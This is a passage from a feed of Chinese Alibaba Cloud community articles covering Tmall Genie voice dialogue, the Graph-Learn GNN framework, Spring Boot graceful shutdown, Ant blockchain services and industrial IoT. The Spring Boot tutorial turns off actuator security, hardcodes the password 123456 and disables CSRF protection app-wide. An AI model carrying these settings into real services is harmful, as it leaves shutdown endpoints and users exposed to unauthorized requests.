    所以我们把音箱播放的类型分成 3 类,即需要恢复的播放、不需要恢复的播放以及提示音,并根据当前的播放类型和即将播放的类型来确定是否保存播放状态。

    持续时长

    用户不会一直和音箱交互,持续的收音和处理会极大的增加云端的处理负担,也没有必要,因此我们需要对自然对话的持续时长进行限制。但是用户和用户交互的时长又不是确定的,因此我们采取了滑窗的计时方式,即每一次用户交互后,我们都会重新计时,等待用户进行交互。

    人机交互识别

    在自然对话持续的过程中,用户可能在与其它人聊天,我们需要识别出来,并且做到用户无感知。在实际实践过程中,我们以语音识别时提取的声学特征为输入,通过深度学习算法来判断用户是否在与与音箱进行交互。如果发现请求不是用户和精灵的交互,精灵不会做出响应。

    会话流

    在自然对话持续的过程中,语义理解服务会记住会话的历史,并结合历史来处理用户的请求,通过这种方式,用户的多次连续交互就可以形成一个会话流,与用户的交互也更加自然。例如,用户询问今天说“今天天气怎么样”,精灵会回复今天的天气,如果用户再询问明天的天气,那么用户不用说“明天天气怎么样”,而只需要说“明天呢”。

    总结

    全双工自然对话是一个系统的工程,涉及到从设备端的前端信号处理、设备端语音交互管理、到云端网关、语音识别、语义理解等整个语音交互链路,涉及到部门多个团队的协作,项目的顺利推进离不开各个团队的通力协作,充分体现了“因为信任所以简单”和“此时此刻非我莫属”的价值观。

    全双工自然对话上线后受到了用户的广泛好评,自然对话的用户只要使用精灵,几乎都会使用这个功能来与天猫精灵交互,而这部分用户的活跃度也比其它用户更高。

    当然,在提升用户交互体验的道路上,全双工自然对话不是终点,还有很多可以提升的地方,我们会继续努力,为用户提供更好的交互体验。

    感谢

    衷心感谢参与项目的所有同学,有些同学甚至为此取消了国庆假期的安排。在大家的共同努力下,短短一个多月时间内就完成了全链路方案的实现和落地,让用户可以更早的体验到精灵的黑科技。

    ]]>
    阿里巴巴开源 Graph-Learn:大家都能玩的 GNN-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 介绍

    阿里巴巴近期开源了面向图神经网络(GNN)的框架 Graph-Learn(GL,原 AliGraph)。框架由阿里内部团队研发,研发同学分别来自计算平台事业部 - PAI 团队,新零售智能引擎事业群-智能计算实验室,以及安全部-数据与算法团队。

    GL 旨在降低 GNN 应用落地的成本,加速整个 GNN 生态的迭代。阿里内部早在几年前就开始了 GNN 相关的探索,从研究到实际落地积累了很多有价值的经验,我们把这些经验通过 GL 逐渐传递出来,希望能对相关从业者有所帮助。

    GL 面向工业场景而设计,为当下主流 GNN 算法提供了基础运行框架。由于起源于工业界,GL 天然支持大规模图数据、异构图、属性图等十分必要但棘手、而当下深度学习框架(TensorFlow、PyTorch 等)又不擅长的问题。同时,考虑到上层 NN 极具面向业务定制化的特点,GL 支持与任意 python 接口的深度学习框架结合。GL 框架轻便灵活,内部模块都预留了充足的扩展空间,方便基于不同的场景进行定制。同时,GL 内置了基于 TensorFlow 实现的各类 GNN 模型和编程接口,供复用和参考。

    项目地址:

    https://github.com/alibaba/graph-learn

    设计理念

    GNN 是当下 AI 领域中非常热门的子领域,被研究者给予了很高的期待。在一切皆向量的深度学习中,我们希望融入更多的知识,使得深度学习由感知学习迈向认知学习。人类的知识在计算机中依托于图结构而存在,这也是为什么要融合 Graph 和 Neural Network 的缘由。

    从深度学习过渡到 GNN,作为开发者,我们深知落地一个 GNN 算法的难点在哪里,阻碍 GNN 被大范围应用的环节是什么。我们也知道 GNN 虽热,但也并不像每个人说的那么好,应用场景的拓宽、算法理论的变化、编程范式的变化都可能带来平台的变化甚至颠覆,面对这些不确定性,平台该做什么。

    我们将这些摸爬滚打的经验积累下来,融入到 GL,无论是对 GL 的直接用户,还是参考 GL 做类似系统设计的同学,希望有所助益。只有更多人了解 GNN,玩的起 GNN,由感知到认知的跨越才不会是一句空话。

    GL 遵循轻便易用的原则,充分保留内部子模块的扩展性,并兼容开源生态。概括来讲包括:轻量可移植,模块可扩展,接口可复用,生态可兼容。

    轻量可移植

    和主流深度学习框架一样,GL 平台代码由 C 写成,Linux 系统下,所有支持 C11 的编译器都可以对源码进行编译打包,所依赖的几个外部库也都是开源社区广为人知的。第一次编译过程由于下载外部依赖,需要大概几分钟,后续每次开发编译打包只需秒级,部署成本很低。GL 可运行于物理机,也可运行于 Docker 内,也可基于阿里云的 ACK 服务一键拉起,确保分布式的机器间网络连通即可。

    模块可扩展

    系统内部实现高度模块化,每个模块都可独立扩展。可扩展给系统足够的弹性,以适应未来发展的不确定性,以及和不同运行环境的适配。可扩展也为广大开发者提供自由伸缩的空间,快速进行原型验证,而不局限于系统当前提供的功能。

    存储模块,抽象了 FileSystem 和 Storage 两层,如需扩展自定义存储,一般只需实现 FileSystem 接口即可,或者通过实现 Storage 接口直接外接其他图存储系统。Partition 模块,定义了数据如何在分布式 Server 间分布,以及一个分布式计算请求如何正确的转发,新的 Partition 策略(例如某种更适合业务场景的图切分)只需扩展该模块即可。计算模块,由一个个算子组成,算子可自定义。算子被框架分布式执行,每个算子定义的计算根据指定的Partition策略进行转发,并可通过资源的形式访问全局存储。目前内置的算子种类包括:Sampling,Negative Sampling,Aggregation,Graph Traverse,Graph Query,Graph Update。RPC 模块,解耦于其他模块,只负责请求的收发,很容易对接其他 RPC 框架。Naming 模块,用于分布式地址发现,可方便对接不同的调度环境。

    接口可复用

    接口可复用体现在两个方面:向后兼容与功能扩展。兼容性不言而喻,很多开发者受困于版本更新后的接口兼容问题。功能扩展,一般的做法是新增 API,意味着在用户能关注到的基础上带来学习成本。新增 API 对用户的困扰相对小于兼容性,但 API 增加也带来庞大的系统维护成本。在 GNN 快速迭代的当下,功能扩展几乎时刻都在发生,比如新增一种图采样算法,而向后兼容更是由于应用场景和算法更迭带来的变化而不容易做到,我们尽可能使得当这些变化发生时,对用户的损失最小。

    GL 通过提高 User Interface 的抽象程度,来降低上述风险。我们发现很多 GNN 研究者都有图的背景,因为对 Gremlin 或多或少有了解。Gremlin 是一种抽象的图查询语言,Gremlin 之于 Graph,类似 SQL 之于 Table。GL 设计了一套 Gremlin-Like 的 python 接口,接口内部会翻译成各种算子实现,每新增一种算子,只需改变接口对应的参数即可。例如,用户随机采样某种顶点的邻居,当新增一种采样算法时,只需改动如下:

    import graphlearn as gl
    g = gl.Graph()
    # sample 10 neighbors for each node in this batch by random sampler
    g.V("vertex_type").shuffle().batch(512).outV("edge_type").sample(10).by("random")
    # sample 10 neighbors for each node in this batch by new sampler
    g.V("vertex_type").shuffle().batch(512).outV("edge_type").sample(10).by("new")

    在 GNN 模型编程接口方面,我们也进行了一定程度的抽象,且提供了诸多可供参考示例。

    生态可兼容

    GL 提供 python 形式的用户接口,结果以 NumPy 形式呈现,易于上手。此外,GL 可与当下主流的深度学习框架,如 TensorFlow、PyTorch 等配套使用,丰富上层 NN 的表达能力。在一个 e2e 的 GNN 应用场景中,GL 和深度学习框架之间有良好的互补关系,把计算交给擅长的框架,Graph->GL,Numeric->TensorFlow、PyTorch,这也是我们一贯的原则。

    取得成果

    GL 已在阿里集团内数十个场景落地,包括搜索推荐、安全风控、新零售、知识图谱等。GL 日常任务数据为规模达百亿级边、十亿级顶点的异构图,且包含百余个混合类型属性。相比之前通过大数据计算任务(如 Map-Reduce)把图数据处理成可供深度学习框架使用的样本的方式,每个模型日均可节省万 CPU 时(core x hour)算力、百 TB 存储,从 GNN 算法开发到上线的周期被缩短到原来的 1/3,而且带来了显著业务效果的提升。此外,GL 获得 2019 世界人工智能大会 SAIL 先锋奖。

    应用案例

    我们以在安全风控中的各种典型场景为例,来看 GL 的应用效果。阿里巴巴安全部数据与算法团队一直致力于与黑灰产进行对抗,保障用户在淘宝、天猫、闲鱼等相关平台上的使用体验和切身利益。面对各类黑灰产,已经研究出了一系列的算法武器,图神经网络(GNN)是其中重要的防控技术之一。GNN 作为近年来新兴的技术,不仅能考虑节点本身的属性,还能同时考虑到网络结构特征,进而刻画黑灰产的关系、团伙以及产业链信息,在风控场景中取得了广泛的应用和效果增益。将 GNN 应用到风控场景中是一件十分有挑战的事情,我们面临的图结构往往有着以下两个特点:

    • 高度异构:节点和边都丰富多样
    • 数据规模巨大:很多图结构都是亿级节点、数十亿甚至上百亿的边

    垃圾注册识别

    淘宝每天新注册的用户中,正常用户占绝大多数,但也有许多黑灰产用户伪装成正常用户,企图获取一个账号从而进行刷单、垃圾评论等等活动,我们称这些账户为“垃圾账户”。“垃圾账户”如果注册通过,就可能从事各种危害活动,因此在注册时将其识别并删除非常有必要。我们通过手机号,设备信息,ip 地址等多种关系构建账户与账户之间的连接关系,基于 graph-learn 构建账户和账户之间的同构图以刻画账户的新表征,垃圾注册图模型目前线上已稳定运行近1年,相比于单纯使用账户的特征,每日额外识别 10-15% 的垃圾账号,保持着相当高的识别准确率。

    淘系假货识别

    阿里巴巴对于知识产权的保护一直都在进行大量的努力,也取得了十分显著的成果。但是仍然有极少部分卖家在淘宝上售卖假货商品,这一直是我们深恶痛绝的。为此,除了应用假货商品本身的特征以外,我们仔细甄别了假货商品和售假卖家之间的多种关系,比如售假卖家之间的团伙关系,物流等产业链关系,并且通过这些关系构建商家-商品之间的异构图,基于 graph-learn 开发的淘宝假货图模型目前已在服饰类、鞋类、首饰等诸多大类中落地,相比于直接使用商品、商家的特征信息,图模型能够额外识别 10% 以上的假货商品。

    闲鱼垃圾评论识别

    闲鱼是目前国内最大的二手商品交易平台,买卖家可以在商品下面评论进行沟通和询问,但其中也有黑灰产会在商品下面留下一些涉嫌广告、欺诈、假货甚至违禁的评论,影响了用户的使用体验,也给用户带来了风险。为了识别闲鱼上的垃圾评论,我们结合业务特点,自主设计了基于异构图卷积网络的反垃圾系统—— GAS,相对于单节点的深度模型,能够在同样准确率情况下获得16%的覆盖率提升,同时我们将该项目中的方法进行总结,所著文章《Spam Review Detection with Graph Convolutional Networks》发表在信息检索领域顶级会议 CIKM2019 上,并斩获最佳应用论文奖。

    恶意评价识别

    恶意评价包括评价要挟,同行攻击和虚假评价等多种类型,在淘宝平台上一直是困扰商家的主要问题之一。和传统图模型相比,异构图神经网络通过聚合不同子图的方式消除主观上对强弱边的判断,能够通过图间融合的方式融合不同强度的边信息。在淘系恶意评价的场景上,基于 graph-learn 开发的恶意评价图模型优化了整体数据准备流程,提高训练效率,上线后已稳定运行近半年,日均额外识别7%以上的恶意评价,优化了商家的营商体验。

    “职业吃货”识别

    淘宝平台上还有一部分“职业吃货”存在,他们在淘宝、饿了吗等平台疯狂下单,收货后却立即申请“仅退款”而拒不退货,继而以职业投诉等方式威逼商家妥协,这就是典型的“职业吃货”行为。对这种滥用淘宝会员权利,损害平台正常运营秩序的人,我们通过各种媒介关系基于 graph-learn 构建“职业吃货”图模型,相对于 GBDT 的传统模型,“职业吃货”图模型在相同准确率的情况下,额外识别了 15% 的恶意买家,保障了商家在平台上的权益。

    发表文献

    • AliGraph: A Comprehensive Graph Neural Network Platform. VLDB, 2019.
    • Representation Learning for Attributed Multiplex Heterogeneous Network. KDD, 2019.
    • Is a Single Vector Enough? Exploring Node Polysemy for Network Embedding. KDD, 2019.
    • Towards Knowledge-Based Personalized Product Description Generation in E-commerce. KDD, 2019.
    • Large Scale Evolving Graphs with Burst Detection. IJCAI, 2019.
    • Hierarchical Representation Learning for Bipartite Graphs. IJCAI, 2019.
    • Cognitive Graph for Multi-Hop Reading Comprehension at Scale. ACL, 2019.

    未来规划

    围绕 GL,我们未来会在以下几个方面投入精力。GL 良好的扩展性,也使得未来存在更多的想象空间。

    新硬件

    以图像为代表的应用催化了 GPU 的发展,可以预见,Graph 作为实际生产中最广泛的数据格式,与 NN 的结合,也会引发更多从硬件角度追求卓越性能的思考。目前阿里内部已经在这方面开始了探索。

    新算法

    近年来 GNN 算法相关的 paper 主要在 GCN 框架下做延伸,编程方式比较固定,目前或多或少遇到了一些瓶颈。我们也开始在算法理论上尝试做一些创新,GL 的易用和可扩展会助力这一过程。

    新业务

    GNN 覆盖的业务非常广,也会带来很多意想不到的效果。当前落地的应用主要集中在了少数大公司内,还没有普及开来。GL 的开源也希望能够助力相关从业者,共同扩大 GNN 的生态。

    ]]>
    Spring Boot 1.X和2.X优雅重启实战-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Spring Boot 1.X优雅地停止应用

    项目在重新发布的过程中,如果有的请求时间比较长,还没执行完成,此时重启的话就会导致请求中断,影响业务功能,优雅重启可以保证在停止的时候,不接收外部的新的请求,等待未完成的请求执行完成,这样可以保证数据的完整性。
    在pom.xml中引入actuator依赖

    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-actuator</artifactId>
    </dependency>

    配置文件增加

    endpoints.shutdown.enabled=true

    启动项目,通过发送关闭命令到endpoint停止运行

    curl -X POST http://127.0.0.1:8080/shutdown

    此时会返回401状态,表示没有认证
    需要关闭权限验证,在配置文件添加

    endpoints.shutdown.sensitive=false

    表示shutdown不需要验证,或者直接关闭全部安全验证

    management.security.enabled=false

    此时再去执行发现可以停止应用,但是这样的话谁都可以拿这个接口去停止应用,如果是在公网的话,感觉就像在裸奔一样,因此我们可以利用Spring Security来处理用户身份验证,去掉这个配置。
    pom.xml添加依赖

    <dependency>  
        <groupId>org.springframework.boot</groupId>  
        <artifactId>spring-boot-starter-security</artifactId>  
    </dependency>

    配置文件添加

    security.user.name=admin
    security.user.password=123456
    management.security.enabled=true
    management.security.role=ADMIN

    启动项目,通过下面的方式停止应用的运行

    curl -X POST --user admin:123456 http://127.0.0.1:8080/shutdown

    为了在应用退出前能尽可能的保证数据的完整性,在接收到shutdown指令之后在完成一些事情,可以在tomcat的自定义接口上做一些工作。
    ShutdownConfig

    import java.util.concurrent.Executor;
    import java.util.concurrent.ThreadPoolExecutor;
    import java.util.concurrent.TimeUnit;
    import org.apache.catalina.connector.Connector;
    import org.slf4j.Logger;
    import org.slf4j.LoggerFactory;
    import org.springframework.boot.context.embedded.ConfigurableEmbeddedServletContainer;
    import org.springframework.boot.context.embedded.EmbeddedServletContainerCustomizer;
    import org.springframework.boot.context.embedded.tomcat.TomcatConnectorCustomizer;
    import org.springframework.boot.context.embedded.tomcat.TomcatEmbeddedServletContainerFactory;
    import org.springframework.context.ApplicationListener;
    import org.springframework.context.annotation.Bean;
    import org.springframework.context.annotation.Configuration;
    import org.springframework.context.event.ContextClosedEvent;
    
    /**
     * Spring Boot1.X Tomcat容器优雅停机  
     */
    @Configuration
    public class ShutdownConfig {
     
        @Bean
        public GracefulShutdown gracefulShutdown() {
            return new GracefulShutdown();
        }
     
        @Bean
        public EmbeddedServletContainerCustomizer tomcatCustomizer() {
            return container -> {
                if (container instanceof TomcatEmbeddedServletContainerFactory) {
                    ((TomcatEmbeddedServletContainerFactory) container).addConnectorCustomizers(gracefulShutdown());
                }
            };
        }
        private static class GracefulShutdown implements TomcatConnectorCustomizer, ApplicationListener<ContextClosedEvent> {
            private static final Logger log = LoggerFactory.getLogger(GracefulShutdown.class);
            private volatile Connector connector;
            private final int waitTime = 120;
            @Override
            public void customize(Connector connector) {
                this.connector = connector;
            }
            @Override
            public void onApplicationEvent(ContextClosedEvent event) {
                this.connector.pause();
                Executor executor = this.connector.getProtocolHandler().getExecutor();
                if (executor instanceof ThreadPoolExecutor) {
                    try {
                        ThreadPoolExecutor threadPoolExecutor = (ThreadPoolExecutor) executor;
                        log.info("shutdown start");
                        threadPoolExecutor.shutdown();
                        log.info("shutdown end");
                        if (!threadPoolExecutor.awaitTermination(waitTime, TimeUnit.SECONDS)) {
                            log.info("Tomcat 进程在" + waitTime + "秒内无法结束,尝试强制结束");
                        }
                        log.info("shutdown success");
                    } catch (InterruptedException ex) {
                        Thread.currentThread().interrupt();
                    }
                }
            }
        }
    }

    Spring Boot 2.X优雅地停止应用

    在pom.xml中引入actuator依赖

    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-actuator</artifactId>
    </dependency>

    配置文件添加

    # 暴露所有,也可以只暴露shutdown
    #management.endpoints.web.exposure.include=*
    management.endpoints.web.exposure.include=shutdown
    management.endpoint.shutdown.enabled=true

    启动项目,通过发送关闭命令到endpoint停止运行

    curl -X POST http://127.0.0.1:8080/shutdown

    这样当然是不安全的,还是需要借助Spring Security来处理用户身份验证
    pom.xml添加依赖

    <dependency>  
        <groupId>org.springframework.boot</groupId>  
        <artifactId>spring-boot-starter-security</artifactId>  
    </dependency>

    配置文件添加

    spring.security.user.name=admin
    spring.security.user.password=123456
    spring.security.user.roles=ADMIN

    启动项目,通过下面的方式停止应用的运行

    curl -i -X POST --user admin:123456 http://127.0.0.1:8080/actuator/shutdown

    这时并没有出现我们期待的响应状态是200的Shutting down, bye...消息出现,而是

    HTTP/1.1 401 
    Set-Cookie: JSESSIONID=6B5EF5B52BB5D9B57CD8CE5F405D264F; Path=/; HttpOnly
    X-Content-Type-Options: nosniff
    X-XSS-Protection: 1; mode=block
    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
    Pragma: no-cache
    Expires: 0
    X-Frame-Options: DENY
    WWW-Authenticate: Basic realm="Realm"
    Content-Length: 0
    Date: Tue, 09 Apr 2019 06:20:39 GMT

    意思已经很明显了,就是未授权,但是我们明明是传了用户名和密码的,为什么还是未授权的状态,这里补充一点Spring Security的知识。
    认证流程图

    过滤器链

    首先当用户发送请求的时候,会进入到UsernamePasswordAuthenticationFilter中得到一个UsernamePasswordAuthenticationToken,它其实相当于一个令牌,不过还没有经过认证,然后调用AuthenticationManager的实现类ProviderManager中判断登录方式是否支持,如果支持,则会调用AuthenticationProvider接口的抽象实现类AbstractUserDetailsAuthenticationProvider进行用户身份验证,如果在认证时用户的缓存信息不存在,则需要先通过其子类 DaoAuthenticationProvider获取UserDetails后进行用户身份验证。
    当然,我们的用户名密码肯定是没有问题的,到底是没有接收到参数还是认证失败。有兴趣的同学可以试一下请求

    curl -i -v --user admin:123456 http://127.0.0.1:8080/actuator

    是可以返回的,也就是说Spring Security对一些特殊的请求有特殊的处理。
    查看官方文档
    )可以知道,默认情况下要求对应用程序中的每个URL进行身份验证,而且会启用CSRF保护,以防止CSRF攻击应用程序,Spring Security CSRF会针对除了"GET", "HEAD", "TRACE", "OPTIONS"之外的其他方法("PATCH", "POST", "PUT", "DELETE")进行防护。 所以在默认配置下,即便已经登录了,页面中发起这几种请求依然会被拒绝。
    官方文档关于HttpSecurity的介绍中说明了默认配置
    image.png
    这个默认的配置在类WebSecurityConfigurerAdapter的方法 configure(HttpSecurity http) 可以看到。顺着这个思路,我们实现一个自定义的配置类WebSecurityConfig,关掉CSRF保护

    import org.springframework.boot.actuate.autoconfigure.security.servlet.EndpointRequest;
    import org.springframework.context.annotation.Configuration;
    import org.springframework.security.config.annotation.web.builders.HttpSecurity;
    import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
     
    @Configuration
    public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
    
        @Override
        public void configure(HttpSecurity http) throws Exception {
            http
                .csrf().disable() //1
                .authorizeRequests()
                .anyRequest().authenticated() //2
    //            .requestMatchers(EndpointRequest.toAnyEndpoint()).fullyAuthenticated()  //3
    //            .requestMatchers(EndpointRequest.to("shutdown")).fullyAuthenticated()  //4
                .and()
                .formLogin()
                .and()
                .httpBasic();
        }
    }
    

    这个时候再次执行停止应用的指令就可以成功,可以在自定义的这个类中实现更加精细的控制。
    同样的我们可以定义一个类ShutdownConfig在Tomcat退出之前做一些事情

     
    import org.apache.catalina.connector.Connector;
    import org.slf4j.Logger;
    import org.slf4j.LoggerFactory;
    import org.springframework.boot.web.embedded.tomcat.TomcatConnectorCustomizer;
    import org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory;
    import org.springframework.boot.web.servlet.server.ServletWebServerFactory;
    import org.springframework.context.ApplicationListener;
    import org.springframework.context.annotation.Bean;
    import org.springframework.context.annotation.Configuration;
    import org.springframework.context.event.ContextClosedEvent;
    
    import java.util.concurrent.Executor;
    import java.util.concurrent.ThreadPoolExecutor;
    import java.util.concurrent.TimeUnit;
     
    /**
     * Spring Boot2.X Tomcat容器优雅停机
     *
     */
    @Configuration
    public class ShutdownConfig {
     
        @Bean
        public GracefulShutdown gracefulShutdown() {
            return new GracefulShutdown();
        }
    
        @Bean
        public ServletWebServerFactory servletContainer() {
            TomcatServletWebServerFactory tomcat = new TomcatServletWebServerFactory();
            tomcat.addConnectorCustomizers(gracefulShutdown());
            return tomcat;
        }
    
        private static class GracefulShutdown implements TomcatConnectorCustomizer, ApplicationListener<ContextClosedEvent> {
            private static final Logger log = LoggerFactory.getLogger(GracefulShutdown.class);
            private volatile Connector connector;
            private final int waitTime = 120;
    
            @Override
            public void customize(Connector connector) {
                this.connector = connector;
            }
    
            @Override
            public void onApplicationEvent(ContextClosedEvent event) {
                this.connector.pause();
                Executor executor = this.connector.getProtocolHandler().getExecutor();
                if (executor instanceof ThreadPoolExecutor) {
                    try {
                        ThreadPoolExecutor threadPoolExecutor = (ThreadPoolExecutor) executor;
                        log.info("shutdown start");
                        threadPoolExecutor.shutdown();
                        log.info("shutdown end");
                        if (!threadPoolExecutor.awaitTermination(waitTime, TimeUnit.SECONDS)) {
                            log.info("Tomcat 进程在" + waitTime + "秒内无法结束,尝试强制结束");
                        }
                        log.info("shutdown success");
                    } catch (InterruptedException ex) {
                        Thread.currentThread().interrupt();
                    }
                }
            }
        }
    }

    优雅重启

    停止应用除了我们上面介绍的通过endpoint指令外别忘记kill,但是我们要优雅停止那就不能使用kill -9 PID,而是使用kill PID发送终止信号来结束进程,等效于kill -15 PID,不加的话默认的就是-15,下面是对比图

    kill -9

    kill

    可见使用kill -9 PID有多暴力,下面是完整的重启脚本restart.sh

    #!/bin/sh
    #set -x
    
    APPS_DIR='appsDir'
    APPLICATION_NAME='applicationName'
    PID=''
    STOP_TIME_OUT=30 #秒
    USER_NAME='admin'
    USER_PWD='123456'
    STOP_URL='http://127.0.0.1:8081/actuator/shutdown'
    
    function getPid { 
        PID=`ps -ef | grep "${APPLICATION_NAME}" | grep -v "grep" | awk '{print $2}'`
    }
    
    function startApplication {
        echo 'starting ...'
        #启动参数自己调整
        java -jar ${APPS_DIR}${APPLICATION_NAME}.jar
    }
    
    function stopApplication { 
        echo 'waiting ...'
        info=`curl -i --user ${USER_NAME}:${USER_PWD} -X POST ${STOP_URL}`
        code=`echo $info|grep "HTTP"|awk '{print $2}'`
        if [ "$code" != "200" ];then
            echo 'endpoint stop failed  ...'
            getPid;
            start=$(date +%s)
            while [[ $PID != "" ]]; do
                end=$(date +%s)
                time=$(( $end - $start ))
                echo "waiting kill pid ${PID} cost ${time} ..."
                if [[ time -gt $STOP_TIME_OUT ]]; then
                    kill ${PID}
                fi
                sleep 1
                getPid;
            done
        fi
        
        echo 'stoped ...'
    }
    
    function restart {
        stopApplication;
        startApplication;
    }
    
    restart;
    

    【转载请注明出处】:https://www.jianshu.com/p/53e6ff96368d

    ]]>
    看云栖说云栖 —— 蚂蚁区块链-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

    “我认为全球市场可能需要五台计算机。”
    —— IBM前董事长 托马斯·沃森 1943年

    以下内容取自2019杭州云栖大会 《蚂蚁区块链生态峰会》。

    在蚂蚁金服副总裁蒋总的开场演讲中,提到区块链已经成为数字经济时代的技术风口,区块链能够让数字资产可信流转,联通产业、契约、信息和价值网络。区块链的应用场景包括:

    • 普、服务民生,例如在台州某三甲医院通过区块链电子票据让人均就诊时间从170分钟降为75分钟,保险理赔从半个月降低为几分钟。
    • 惠、赋能小微,通过双链通服务,小摊主也能借助供应链金融服务从银行拿到应收款融资。
    • 暖、爱心扶贫,通过蚂蚁区块链农业溯源,保证正宗原产地品牌,在贫困县砀山,正宗原产地酥梨6天热销300万斤。

    蚂蚁区块链已经落地包括合同、发票、物流、缴费、融资、溯源、公益等超过40个应用场景。

    在本次大会上,蚂蚁金服正式发布ODATS跨链服务,为万链互联打下基础。

    蚂蚁金服技术专家介绍ODATS (Open Data Access Trusted Service)的愿景是:
    构建跨链通讯基础设施,承载区块链价值互联网。我理解就是将一个个的联盟链局域网通过ODATS联通起来成为区块链互联网。

    ODATS主要解决了如下技术问题:

    • 通用编程
    • 数据安全
    • 异构链互操作

    ODATS的业务价值包括:

    • 低成本跨平台交互
    • 信任价值流转
    • 网络灵活扩展

    ODATS的产品架构包括:

    • 链上组件、主要包括跨链合约组件,异构链适配组件,提供蚂蚁区块链组件、Fabric组件、Quorum组件。
    • 链下组件、包括跨链中继组件以及跨链认证体系。

    接下来,蚂蚁金服负责BaaS服务的资深总监李杰力对蚂蚁区块链服务当前状态及未来的发展规划做了介绍。
    在蚂蚁区块链的产品大图中包括:

    • 云资源层、提供基础云资源,包括公共云、专有云。
    • BaaS Core、提供核心的区块链服务,包括联盟管理、跨链服务、合约开发等。
    • BaaS Plus、提供包括实名认证、通用溯源、企业认证、智能合约安全检查等区块链相关扩展服务。
    • 区块链服务市场、提供包括链上金融、链上零售、链上生活等40+应用场景。
    • 三链合一、将新手链、体验链、大赛链整合进新发布的开放联盟链中。

    开放联盟不同于蚂蚁金服之前的BaaS服务,是一个更低门槛的类公链区块链服务,只需要支付宝的实名认证即可加入。
    让我们通过蚂蚁金服官网的介绍来对比一下这二者的区别:

    蚂蚁区块链 BaaS(Blockchain as a Service)平台是蚂蚁金服自主研发的具备高性能、强隐私保护的金融级区块链技术平台。平台致力于打造一站式服务,有效解决金融、零售、生活等多场景区块链应用问题。通过更加可靠,安全,高效的平台服务,使合作伙伴可轻松搭建各类业务场景。

    蚂蚁区块链|开放联盟链是今年3月31日推出,面向中小企业和开发者的“无需搭链、快速低成本上链”的全民上链产品——类公链的服务网络。

    在今年的支付宝集五福活动中,在“新春福气头条”H5中,可以生成专属福气头条, 并存储在这个开放联盟链上,以后可以通过支付宝随时查看。

    ​从这个角度上说所有参与集福的用户都已经是​开放联盟链的用户了。

    ]]>
    全球企业领导者如何利用工业物联网(IIoT)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 8.26.2019-How-Global-Leaders-Are-Leveraging-the-Enterprise-Industrial-Internet-of-Things-IIoT_副本.png

    今天,我们可以看到物联网设备无处不在。这是一项新兴技术,它由一个网络连接我们的小工具,并允许它们相互通信。我们中的大多数人可能拥有这样的设备,有些人甚至把他们的家变成了智能迷你生态系统,它们是自我维持和半自我主权的。

    我们经常听说基于消费者的物联网,因为它是我们最常用的。然而,全球物联网市场的收入为2120亿美元,其中包括更多的其它应用。

    新兴技术已经占领了许多行业,甚至进入了制造过程。您可能听说过“工业4.0”,也称为第四次工业革命。它有望将生产和网络连接领域结合在一起。工业物联网(IIoT)可以实现这一目标。

    IIoT承诺通过自动化、分析和连接来提高运营效率。它是一个充满信息和通信技术的物理对象网络。通过这种先进的方法,制造商可以实现对生产阶段和过程的良好可见性,找出任何差距并加以解决。它减少了停机时间,同时提高了生产质量。

    现实情况是,许多公司没有利用互联系统中所有数据的真实价值。麦肯锡的这份报告发现,其中54%的人使用的数据不到10%。

    在这里,我们将指出现在已成为IIoT领导者和先锋的全球一些商业巨头,以及他们如何有效地应用创新方法。这些公司已经开始实施工业物联网,以便其技术和应用推动其业务向前发展。

    亚马逊的智能仓储

    亚马逊是世界领先的公司之一。一份报告显示,它的一些仓库通常每天运送大约4万件物品,而在假日高峰期间,他们每天运送超过100万件物品。

    如果没有技术的帮助,处理庞大的仓库和数百万个订单可能非常困难。它使亚马逊成为仓储和物流领域的创新者。目前,它正在测试自动化和人机协作的极限。

    您可能已经听说过该公司使用无人机进行交付的想法,尽管这吸引了媒体的注意,但亚马逊的仓库里到处都是Wi-Fi连接的Kiva机器人。Kiva技术背后的主要思想是让机器人定位产品货架并将其带给工人,而不是浪费员工寻找产品的时间。

    亚马逊高管戴夫•克拉克(Dave Clark)表示,这项技术已将运营支出削减了20%。

    空中客车公司的智能工厂

    制造一架使用最广泛的商用喷气式客机是一个复杂的过程,它包括成千上万个阶段组装的数百万个组件,一个错误可能会导致数百人丧生。不幸的是,人们会犯错。

    另一方面,好消息是现在可以最终避免它们,或者至少可以大大减少错误。为了利用技术进步提供的可能性,空客启动了“未来工厂”。这是一项旨在简化运营并提高生产能力的制造计划。

    空中客车公司将传感器集成到工具中,并为工人配备了可穿戴技术,例如智能眼镜,这些技术可减少错误并提供安全性。它使机舱座椅标记过程的整体生产率提高了500%,错误率降至零。

    日立IIoT方法

    日立是一家领先的日本工业公司,以其在运营和信息技术方面的经验和整合而闻名。许多类似的公司考虑通过合作来填补物联网知识的空白。不过,日立选择保持独立。

    它拥有超过1.6万名员工,主要致力于技术。Lumada是日立提供的物联网平台。 他们还生产许多利用互联技术的产品,例如火车。他们现在将其作为服务出售。

    该公司开发了物联网增强生产模式,声称在其Omika工厂部门内将生产交付周期缩短了一半。它为钢铁、电力、交通和其他行业制造基础设施。

    卡特彼勒– IIoT先驱

    卡特彼勒(Caterpillar,也称为“ CAT”)是一家重型设备制造商。该公司成为物联网项目的先驱已有相当一段时间了。最近,我们开始看到其物联网技术投资的成果。

    CAT正在使用增强现实和IoT应用程序来使机器操作员洞悉机器的整体状况,包括燃油量和预测性维护。例如,如果空气滤清器失效,则公司会通过AR应用程序发送有关如何更换空气滤清器的说明。

    《福布斯》甚至有一篇专门的文章https://www.forbes.com/sites/bernardmarr/2017/02/07/iot-and-big-data-at-caterpillar-how-predictive-maintenance-saves-millions-of-dollars/#3d55fa9e7240),介绍了CAT如何利用传感器驱动的分析来节省船只和轮船的成本。

    博世的追踪计划

    博世“Track and Trace”计划的主要灵感在于,工人会花费太多时间寻找工具。这使该公司提出了在其工具中添加传感器以便对其进行跟踪的想法。

    随着教学程序变得越来越精确,博世也将使用它来指导装配操作。

    IIoT:制造业的未来

